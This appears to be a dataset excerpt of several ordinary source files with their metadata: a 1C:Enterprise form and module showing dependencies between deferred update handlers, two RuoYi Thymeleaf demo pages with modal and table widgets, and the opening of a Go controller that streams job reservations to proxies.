<DataPath>ДеревоЗависимостей.ОбработаноЗаИнтервал</DataPath> <Title> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Обработано за период</v8:content> </v8:item> </Title> <ToolTip> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Обработано объектов за выбранный период</v8:content> </v8:item> </ToolTip> <EditMode>EnterOnInput</EditMode> <Width>5</Width> <ContextMenu name="ДеревоЗависимостейОбработаноЗаИнтервалКонтекстноеМеню" id="27"/> <ExtendedTooltip name="ДеревоЗависимостейОбработаноЗаИнтервалРасширеннаяПодсказка" id="28"/> </InputField> </ChildItems> </Table> </ChildItems> <Attributes> <Attribute name="ДеревоЗависимостей" id="1"> <Title> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Дерево зависимостей</v8:content> </v8:item> </Title> <Type> <v8:Type>v8:ValueTree</v8:Type> </Type> <Columns> <Column name="ОбработчикОбновления" id="1"> <Title> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Обработчик</v8:content> </v8:item> </Title> <Type> <v8:Type>xs:string</v8:Type> <v8:StringQualifiers> <v8:Length>0</v8:Length> <v8:AllowedLength>Variable</v8:AllowedLength> </v8:StringQualifiers> </Type> </Column> <Column name="Статус" id="2"> <Type> <v8:Type>cfg:EnumRef.СтатусыОбработчиковОбновления</v8:Type> </Type> </Column> <Column name="ВсегоОбъектов" id="3"> <Title> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Всего</v8:content> </v8:item> </Title> <Type> <v8:Type>xs:string</v8:Type> <v8:StringQualifiers> <v8:Length>0</v8:Length> <v8:AllowedLength>Variable</v8:AllowedLength> </v8:StringQualifiers> </Type> </Column> <Column name="Картинка" id="4"> <Title> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Картинка</v8:content> </v8:item> </Title> <Type> <v8:Type>v8ui:Picture</v8:Type> </Type> </Column> <Column name="ОбработаноЗаИнтервал" id="5"> <Title> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Обработано за период</v8:content> </v8:item> </Title> <Type> <v8:Type>xs:string</v8:Type> <v8:StringQualifiers> <v8:Length>0</v8:Length> <v8:AllowedLength>Variable</v8:AllowedLength> </v8:StringQualifiers> </Type> </Column> <Column name="ОсталосьОбработать" id="6"> <Title> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Осталось</v8:content> </v8:item> </Title> <Type> <v8:Type>xs:string</v8:Type> <v8:StringQualifiers> <v8:Length>0</v8:Length> <v8:AllowedLength>Variable</v8:AllowedLength> </v8:StringQualifiers> </Type> </Column> <Column name="ОбщийПрогресс" id="7"> <Title> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Прогресс, %</v8:content> </v8:item> </Title> <Type> <v8:Type>xs:string</v8:Type> <v8:StringQualifiers> <v8:Length>0</v8:Length> <v8:AllowedLength>Variable</v8:AllowedLength> </v8:StringQualifiers> </Type> </Column> </Columns> </Attribute> <Attribute name="Переключатель" id="2"> <Type> <v8:Type>xs:string</v8:Type> <v8:StringQualifiers> <v8:Length>0</v8:Length> <v8:AllowedLength>Variable</v8:AllowedLength> </v8:StringQualifiers> </Type> </Attribute> <Attribute name="ИсходныйОбработчик" id="3"> <Type> <v8:Type>xs:string</v8:Type> <v8:StringQualifiers> <v8:Length>0</v8:Length> <v8:AllowedLength>Variable</v8:AllowedLength> </v8:StringQualifiers> </Type> </Attribute> </Attributes> <Commands> <Command name="ЗарегистрированныеДанные" id="1"> <Title> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Зарегистрированные данные</v8:content> </v8:item> </Title> <ToolTip> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Зарегистрированные данные</v8:content> </v8:item> </ToolTip> <Action>ЗарегистрированныеДанные</Action> </Command> </Commands> <Parameters> <Parameter name="Значение"> <Type> <v8:Type>xs:string</v8:Type> <v8:StringQualifiers> <v8:Length>0</v8:Length> <v8:AllowedLength>Variable</v8:AllowedLength> </v8:StringQualifiers> </Type> </Parameter> <Parameter name="Кеш"> <Type> <v8:Type>xs:string</v8:Type> <v8:StringQualifiers> <v8:Length>0</v8:Length> <v8:AllowedLength>Variable</v8:AllowedLength> </v8:StringQualifiers> </Type> </Parameter> <Parameter name="КешПриоритетов"> <Type> <v8:Type>xs:string</v8:Type> <v8:StringQualifiers> <v8:Length>0</v8:Length> <v8:AllowedLength>Variable</v8:AllowedLength> </v8:StringQualifiers> </Type> </Parameter> </Parameters> </Form>
13,093
Form
xml
ru
xml
data
{"qsc_code_num_words": 1315, "qsc_code_num_chars": 13093.0, "qsc_code_mean_word_length": 6.60456274, "qsc_code_frac_words_unique": 0.19087452, "qsc_code_frac_chars_top_2grams": 0.03039724, "qsc_code_frac_chars_top_3grams": 0.02026482, "qsc_code_frac_chars_top_4grams": 0.03039724, "qsc_code_frac_chars_dupe_5grams": 0.43431203, "qsc_code_frac_chars_dupe_6grams": 0.41577432, "qsc_code_frac_chars_dupe_7grams": 0.40080599, "qsc_code_frac_chars_dupe_8grams": 0.3955095, "qsc_code_frac_chars_dupe_9grams": 0.36534254, "qsc_code_frac_chars_dupe_10grams": 0.34841681, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.03651191, "qsc_code_frac_chars_whitespace": 0.17581914, "qsc_code_size_file_byte": 13093.0, "qsc_code_num_lines": 381.0, "qsc_code_num_chars_line_max": 918.0, "qsc_code_num_chars_line_mean": 34.3648294, "qsc_code_frac_chars_alphabet": 0.76823279, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 1.0, "qsc_code_frac_lines_dupe_lines": 0.67191601, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.19071259, "qsc_code_frac_chars_long_word_length": 0.11265562, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 1, "qsc_code_mean_word_length": 0, "qsc_code_frac_words_unique": 1, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 1, "qsc_code_cate_autogen": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0}
1diot9/MyJavaSecStudy
CodeAudit/RuoYi/RuoYi-4.7.5/ruoyi-admin/src/main/resources/templates/demo/modal/table/frame1.html
<!DOCTYPE html> <html lang="zh" xmlns:th="http://www.thymeleaf.org" xmlns:shiro="http://www.pollix.at/thymeleaf/shiro"> <head> <th:block th:include="include :: header('多层窗口A')" /> </head> <body class="gray-bg"> <div class="container-div"> <div class="row"> <form id="form-user-add" class="form-horizontal"> <div class="row"> <div class="col-sm-12" style="margin-top: 50px"> <div class="form-group"> <label class="col-sm-4 control-label">用户名称:</label> <div class="col-sm-4"> <input id="name" placeholder="请输入用户名称" class="form-control" type="text"> </div> <button type="button" class="btn btn-primary" onclick="selectUserToParentId()">选择</button> </div> </div> </div> </form> </div> </div> <div th:include="include :: footer"></div> <script th:inline="javascript"> /* 提交 */ function submitHandler() { var name = $("#name").val(); activeWindow().$('#username').html(name); $.modal.close(); } // 根据父窗口ID获取 function selectUserToParentId(){ var prefix = ctx + "demo/modal"; var options = { width: '100px', height: '100px', title: '多层窗口B', url: prefix + "/frame2", callBack: doSubmit }; $.modal.openOptions(options); } function doSubmit(index, layero){ var body = $.modal.getChildFrame(index); $("#name").val(body.find('#name').val()); $.modal.close(index); } </script> </body> </html>
1,723
frame1
html
en
html
code
{"qsc_code_num_words": 173, "qsc_code_num_chars": 1723.0, "qsc_code_mean_word_length": 4.93641618, "qsc_code_frac_words_unique": 0.49710983, "qsc_code_frac_chars_top_2grams": 0.05620609, "qsc_code_frac_chars_top_3grams": 0.03512881, "qsc_code_frac_chars_top_4grams": 0.03044496, "qsc_code_frac_chars_dupe_5grams": 0.0, "qsc_code_frac_chars_dupe_6grams": 0.0, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01114923, "qsc_code_frac_chars_whitespace": 0.32327336, "qsc_code_size_file_byte": 1723.0, "qsc_code_num_lines": 53.0, "qsc_code_num_chars_line_max": 116.0, "qsc_code_num_chars_line_mean": 32.50943396, "qsc_code_frac_chars_alphabet": 0.7212693, "qsc_code_frac_chars_comments": 0.01160766, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.16326531, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.21126761, "qsc_code_frac_chars_long_word_length": 0.0129108, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codehtml_cate_ast": 1.0, "qsc_codehtml_frac_words_text": 0.01915264, "qsc_codehtml_num_chars_text": 33.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_codehtml_cate_ast": 0, "qsc_codehtml_frac_words_text": 1, "qsc_codehtml_num_chars_text": 1}
1diot9/MyJavaSecStudy
CodeAudit/RuoYi/RuoYi-4.7.5/ruoyi-admin/src/main/resources/templates/demo/modal/table/radio.html
<!DOCTYPE html> <html lang="zh" xmlns:th="http://www.thymeleaf.org" xmlns:shiro="http://www.pollix.at/thymeleaf/shiro"> <head> <th:block th:include="include :: header('radio表格页')" /> </head> <body class="gray-bg"> <div class="container-div"> <div class="row"> <div class="col-sm-12 select-table table-striped"> <table id="bootstrap-table"></table> </div> </div> </div> <div th:include="include :: footer"></div> <script th:inline="javascript"> var prefix = ctx + "demo/table"; var datas = [[${@dict.getType('sys_normal_disable')}]]; $(function() { var options = { url: prefix + "/list", showSearch: false, showRefresh: false, showToggle: false, showColumns: false, columns: [{ radio: true }, { field : 'userId', title : '用户ID' }, { field : 'userCode', title : '用户编号' }, { field : 'userName', title : '用户姓名' }, { field : 'userPhone', title : '用户手机' }, { field : 'userEmail', title : '用户邮箱' }, { field : 'userBalance', title : '用户余额' }, { field: 'status', title: '用户状态', align: 'center', formatter: function(value, row, index) { return $.table.selectDictLabel(datas, value); } }, { title: '操作', align: 'center', formatter: function(value, row, index) { var actions = []; actions.push('<a class="btn btn-success btn-xs" href="#"><i class="fa fa-edit"></i>编辑</a> '); actions.push('<a class="btn btn-danger btn-xs" href="#"><i class="fa fa-remove"></i>删除</a>'); return actions.join(''); } }] }; $.table.init(options); }); /* 添加用户-选择用户-提交 */ function submitHandler() { var rows = $.table.selectFirstColumns(); if (rows.length == 0) { $.modal.alertWarning("请至少选择一条记录"); return; } alert(rows.join()); } </script> </body> </html>
2,273
radio
html
en
html
code
{"qsc_code_num_words": 211, "qsc_code_num_chars": 2273.0, "qsc_code_mean_word_length": 4.91943128, "qsc_code_frac_words_unique": 0.53080569, "qsc_code_frac_chars_top_2grams": 0.02312139, "qsc_code_frac_chars_top_3grams": 0.03082852, "qsc_code_frac_chars_top_4grams": 0.0539499, "qsc_code_frac_chars_dupe_5grams": 0.15992293, "qsc_code_frac_chars_dupe_6grams": 0.15992293, "qsc_code_frac_chars_dupe_7grams": 0.11560694, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.0020979, "qsc_code_frac_chars_whitespace": 0.37087549, "qsc_code_size_file_byte": 2273.0, "qsc_code_num_lines": 86.0, "qsc_code_num_chars_line_max": 118.0, "qsc_code_num_chars_line_mean": 26.43023256, "qsc_code_frac_chars_alphabet": 0.72377622, "qsc_code_frac_chars_comments": 0.00791905, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.08433735, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.02409639, "qsc_code_frac_chars_string_length": 0.21498227, "qsc_code_frac_chars_long_word_length": 0.00930851, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codehtml_cate_ast": 1.0, "qsc_codehtml_frac_words_text": 0.00703916, "qsc_codehtml_num_chars_text": 16.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_codehtml_cate_ast": 0, "qsc_codehtml_frac_words_text": 1, "qsc_codehtml_num_chars_text": 1}
1c-syntax/ssl_3_1
src/cf/Reports/ПрогрессОтложенногоОбновления/Forms/ЗависимостьОбработчика/Ext/Form/Module.bsl
/////////////////////////////////////////////////////////////////////////////////////////////////////// // Copyright (c) 2024, ООО 1С-Софт // Все права защищены. Эта программа и сопроводительные материалы предоставляются // в соответствии с условиями лицензии Attribution 4.0 International (CC BY 4.0) // Текст лицензии доступен по ссылке: // https://creativecommons.org/licenses/by/4.0/legalcode /////////////////////////////////////////////////////////////////////////////////////////////////////// #Область ОписаниеПеременных &НаСервере Перем ТаблицаПриоритетов, ОчередиОбработчиков, ПрогрессОбработки; #КонецОбласти #Область ОбработчикиСобытийФормы &НаСервере Процедура ПриСозданииНаСервере(Отказ, СтандартнаяОбработка) ИмяОбработчика = Параметры.Значение; КешПриоритетов = Параметры.КешПриоритетов; ИсходныйОбработчик = ИмяОбработчика; Заголовок = НСтр("ru = 'Зависимости обработчика %1'"); Заголовок = СтроковыеФункцииКлиентСервер.ПодставитьПараметрыВСтроку(Заголовок, ИмяОбработчика); ПрогрессОбработки = ПолучитьИзВременногоХранилища(Параметры.Кеш).Скопировать(); // ТаблицаЗначений ПрогрессОбработки.Колонки.КоличествоОбъектов.Имя = "ОсталосьОбработать"; ДанныеОбработчика = ПрогрессОбработки.Найти(ИмяОбработчика, "ОбработчикОбновления"); ТаблицаПриоритетов = Неопределено; Если ЗначениеЗаполнено(КешПриоритетов) Тогда ТаблицаПриоритетов = ПолучитьИзВременногоХранилища(КешПриоритетов); КонецЕсли; Если ТаблицаПриоритетов = Неопределено Тогда ОписаниеОбработчиков = Обработки.ОписаниеОбработчиковОбновления.Создать(); ОписаниеОбработчиков.ЗагрузитьОбработчики(); ТаблицаПриоритетов = ОписаниеОбработчиков.ПриоритетыВыполнения.Выгрузить(, "Процедура1,Процедура2,Порядок"); ПоместитьВоВременноеХранилище(ТаблицаПриоритетов, КешПриоритетов); КонецЕсли; Зависимости = РеквизитФормыВЗначение("ДеревоЗависимостей"); Запрос = Новый Запрос; Запрос.УстановитьПараметр("ОчередьОтложеннойОбработки", ДанныеОбработчика.Очередь); Запрос.УстановитьПараметр("РежимВыполненияОтложенногоОбработчика", Перечисления.РежимыВыполненияОтложенныхОбработчиков.Параллельно); Запрос.Текст = "ВЫБРАТЬ | ОбработчикиОбновления.ИмяОбработчика КАК ИмяОбработчика, | ОбработчикиОбновления.ОчередьОтложеннойОбработки КАК Очередь, | ОбработчикиОбновления.Статус КАК Статус |ИЗ | РегистрСведений.ОбработчикиОбновления КАК ОбработчикиОбновления |ГДЕ | ОбработчикиОбновления.ОчередьОтложеннойОбработки < &ОчередьОтложеннойОбработки | И ОбработчикиОбновления.РежимВыполненияОтложенногоОбработчика = &РежимВыполненияОтложенногоОбработчика"; ОчередиОбработчиков = Запрос.Выполнить().Выгрузить(); ОчередиОбработчиков.Индексы.Добавить("ИмяОбработчика"); КонфликтыОбработчика = КонфликтыОбработчика(ИмяОбработчика); ОсновнойОбработчик = Зависимости.Строки.Добавить(); ЗаполнитьЗначенияСвойств(ОсновнойОбработчик, ПараметрыОбработчика(ИмяОбработчика)); ОсновнойОбработчик.ОбщийПрогресс = ПрогрессОбработки(ОсновнойОбработчик); УстановитьСтатусОбработчика(ОсновнойОбработчик, ДанныеОбработчика.Статус); ОчередьОбработчика = ДанныеОбработчика.Очередь; ДобавитьДочерниеОбработчики(ОсновнойОбработчик.Строки, ИмяОбработчика, КонфликтыОбработчика, ОчередьОбработчика); ЗначениеВРеквизитФормы(Зависимости, "ДеревоЗависимостей"); КонецПроцедуры &НаКлиенте Процедура ПриОткрытии(Отказ) ПодключитьОбработчикОжидания("Подключаемый_РазвернутьСтроки", 0.1, Истина); КонецПроцедуры #КонецОбласти #Область ОбработчикиКомандФормы &НаКлиенте Процедура ЗарегистрированныеДанные(Команда) ТекущиеДанные = Элементы.ДеревоЗависимостей.ТекущиеДанные; Если ТекущиеДанные = Неопределено Тогда Возврат; КонецЕсли; ПередаваемыеПараметры = Новый Структура; ПередаваемыеПараметры.Вставить("ИмяОбработчика", ТекущиеДанные.ОбработчикОбновления); ПередаваемыеПараметры.Вставить("ВсегоОбъектов", ТекущиеДанные.ВсегоОбъектов); ПередаваемыеПараметры.Вставить("ОсталосьОбработать", ТекущиеДанные.ОсталосьОбработать); ПередаваемыеПараметры.Вставить("Прогресс", ТекущиеДанные.ОбщийПрогресс); ПередаваемыеПараметры.Вставить("ОбработаноЗаПериод", ТекущиеДанные.ОбработаноЗаИнтервал); ОткрытьФорму("Отчет.ПрогрессОтложенногоОбновления.Форма.ЗарегистрированныеДанные", ПередаваемыеПараметры, , ТекущиеДанные.ОбработчикОбновления); КонецПроцедуры #КонецОбласти #Область СлужебныеПроцедурыИФункции &НаСервере Процедура ДобавитьДочерниеОбработчики(СтрокаДерева, ИмяОбработчика, КонфликтыОбработчика, ОчередьОбработчика) Для Каждого СтрокаКонфликт Из КонфликтыОбработчика Цикл Если СтрокаКонфликт.Порядок = "До" Тогда Продолжить; КонецЕсли; ВторойОбработчик = СтрокаКонфликт.Процедура2; ОчередьИСтатус = ОчередьИСтатусОбработчика(ВторойОбработчик); Если ОчередьИСтатус = Неопределено Или ОчередьИСтатус.Очередь >= ОчередьОбработчика Тогда // У данного обработчика очередь выше, он не держит выполнение. Продолжить; КонецЕсли; ПараметрыОбработчика = ПараметрыОбработчика(ВторойОбработчик); Если ПараметрыОбработчика = Неопределено Тогда // Обработчик не регистрировал ничего к обработке, выполнение не держит. Продолжить; КонецЕсли; СтрокаЗависимости = СтрокаДерева.Добавить(); ЗаполнитьЗначенияСвойств(СтрокаЗависимости, ПараметрыОбработчика); СтрокаЗависимости.ОбщийПрогресс = ПрогрессОбработки(ПараметрыОбработчика); УстановитьСтатусОбработчика(СтрокаЗависимости, ОчередьИСтатус.Статус); КонфликтыВторогоОбработчика = КонфликтыОбработчика(ВторойОбработчик); ДобавитьДочерниеОбработчики(СтрокаЗависимости.Строки, ВторойОбработчик, КонфликтыВторогоОбработчика, ОчередьИСтатус.Очередь) КонецЦикла; КонецПроцедуры &НаСервере Функция ПрогрессОбработки(ПараметрыОбработчика) Возврат Цел(((ПараметрыОбработчика.ВсегоОбъектов - ПараметрыОбработчика.ОсталосьОбработать)/ПараметрыОбработчика.ВсегоОбъектов*100)*100)/100; КонецФункции &НаСервере Функция ПараметрыОбработчика(ИмяОбработчика) ДанныеОбработчика = ПрогрессОбработки.Найти(ИмяОбработчика, "ОбработчикОбновления"); Возврат ДанныеОбработчика; КонецФункции &НаСервере Функция КонфликтыОбработчика(ИмяОбработчика) ОтборСтрок = Новый Структура; ОтборСтрок.Вставить("Процедура1", ИмяОбработчика); КонфликтыОбработчика = ТаблицаПриоритетов.НайтиСтроки(ОтборСтрок); Возврат КонфликтыОбработчика; КонецФункции &НаСервере Функция ОчередьИСтатусОбработчика(ИмяОбработчика) Результат = ОчередиОбработчиков.Найти(ИмяОбработчика, "ИмяОбработчика"); Возврат Результат; КонецФункции &НаСервере Процедура УстановитьСтатусОбработчика(Строка, Статус) Если Статус = Перечисления.СтатусыОбработчиковОбновления.Выполнен Тогда Строка.Картинка = БиблиотекаКартинок.ОформлениеКругЗеленый; ИначеЕсли Статус = Перечисления.СтатусыОбработчиковОбновления.Ошибка Тогда Строка.Картинка = БиблиотекаКартинок.ОформлениеКругКрасный; Иначе Строка.Картинка = БиблиотекаКартинок.ОформлениеКругПустой; КонецЕсли; КонецПроцедуры &НаКлиенте Процедура Подключаемый_РазвернутьСтроки() ВеткаОсновногоОбработчика = ДеревоЗависимостей.ПолучитьЭлементы()[0]; Идентификатор = ВеткаОсновногоОбработчика.ПолучитьИдентификатор(); Элементы.ДеревоЗависимостей.Развернуть(Идентификатор, Ложь); КонецПроцедуры #КонецОбласти
7,173
Module
bsl
ru
1c enterprise
code
{"qsc_code_num_words": 473, "qsc_code_num_chars": 7173.0, "qsc_code_mean_word_length": 12.38900634, "qsc_code_frac_words_unique": 0.41226216, "qsc_code_frac_chars_top_2grams": 0.02474403, "qsc_code_frac_chars_top_3grams": 0.01433447, "qsc_code_frac_chars_top_4grams": 0.01808874, "qsc_code_frac_chars_dupe_5grams": 0.02491468, "qsc_code_frac_chars_dupe_6grams": 0.0, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00427155, "qsc_code_frac_chars_whitespace": 0.08615642, "qsc_code_size_file_byte": 7173.0, "qsc_code_num_lines": 194.0, "qsc_code_num_chars_line_max": 146.0, "qsc_code_num_chars_line_mean": 36.9742268, "qsc_code_frac_chars_alphabet": 0.88954996, "qsc_code_frac_chars_comments": 0.98536177, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 1, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 1, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
1xyz/coolbeans
cluster/server/reservations_controller.go
package server import ( "errors" v1 "github.com/1xyz/coolbeans/api/v1" log "github.com/sirupsen/logrus" "time" ) // reservationsController provides the ability to stream // reservation updates from the job state machine (jsm) // back to the connected clients (aka. "proxy" clients) // // A high level overview: // // ┌----------------┐ ┌----------------┐ // │ State Proxy │ │ State Proxy │ // │ Client │ ...... │ Client │ // └----------------┘ └----------------┘ // ^ ^ // | | // | | (stream Reservations) // | | // ┌---------------------------------------------------┐ // │ reservationsController │ // └---------------------------------------------------┘ // | ^ // | (every 1s) | Reservations // | | // V | // ┌---------------------------------------------------┐ // │ JSM.Tick() │ // └---------------------------------------------------┘ type ReservationsController struct { // connProxies, represents connected proxy clients which // can receive reservation updates. // the map is keyed of the proxyID and the value is // channel where specific proxies receive their updates connProxies map[string]chan *ProxyResp // proxyJoinCh, all proxy join requests are sent here proxyJoinCh chan *ProxyJoinReq // proxyLeaveCh, all proxy leave requests are sent here proxyLeaveCh chan *ProxyLeaveReq // interface allowing the controller to access periodic // tick functionality jsmTick JsmTick // Channel to signal a stop doneCh chan bool } var ( // Returned if the same proxy client attempts to connect with the controller ErrProxyExists = errors.New("proxy with id exists") ErrNotLeader = errors.New("current node is not a leader") ) func NewReservationsController(jsmTick JsmTick) *ReservationsController { return &ReservationsController{ connProxies: make(map[string]chan *ProxyResp), proxyJoinCh: make(chan *ProxyJoinReq), proxyLeaveCh: make(chan *ProxyLeaveReq), jsmTick: jsmTick, doneCh: make(chan bool), } } // Register makes a request to add this proxy client (identified by proxyID) // // Register returns back a read only channel to receive updates func (rctrl *ReservationsController) Register(proxyID string) (<-chan *ProxyResp, error) { logc := log.WithField("method", "jsmController.Register") req := &ProxyJoinReq{ proxyID: proxyID, respCh: make(chan *ProxyResp), } rctrl.proxyJoinCh <- req resp := <-req.respCh if resp.Err != nil { logc.Errorf("resp.Err with proxyID %v. Err %v", proxyID, resp.Err) return nil, resp.Err } logc.Infof("Register for proxyID=%v done", proxyID) return req.respCh, nil } // UnRegister makes a request to remove this proxy client (identified by the proxyID) // // Additionally, once the unRegister is complete, it drains the response channel func (rctrl *ReservationsController) UnRegister(proxyID string, respCh <-chan *ProxyResp) { logc := log.WithField("method", "jsmController.UnRegister") rctrl.proxyLeaveCh <- &ProxyLeaveReq{ proxyID: proxyID, } // drain all the responses & log errors for resp := range respCh { if resp.Err != nil { logc.Errorf("resp.Err with proxyID %v. Err %v", proxyID, resp.Err) } } logc.Infof("UnRegister for proxyID=%v done", proxyID) } // Run, runs this controller. the control loop does not return immediately (unless there is an error) // // Run performs the following functions // 1) Periodically (for every second), queries the underlying JSM (job state machine) for any // reservation updates. (These could include newly assigned jobs, timeouts or deadline-soon to any // Reservations request). These updates are dispatched to the appropriate client proxy (if they are // connected. // 2) Processes any register (join) or un-register (leave) requests from proxies func (rctrl *ReservationsController) Run() error { logc := log.WithField("method", "reservationsController.Run") ticker := time.NewTicker(time.Second) defer ticker.Stop() for { select { case <-rctrl.doneCh: logc.Infof("Done signalled") return nil case t := <-ticker.C: logc.Debugf("tick-req at %v", t) if tickResp, err := rctrl.jsmTick.Tick(); err != nil { logc.Debugf("jsmTick.Tick() Err=%v", err) continue } else { // map of proxies responded responded := make(map[string]bool) for proxyId, reservation := range tickResp.ProxyReservations { if respCh, ok := rctrl.connProxies[proxyId]; !ok { logc.Warnf("no entry with proxyID=%v discarding forwarding", proxyId) } else { respCh <- &ProxyResp{ RespType: Reservation, Reservations: reservation.Entries, Err: nil, } } 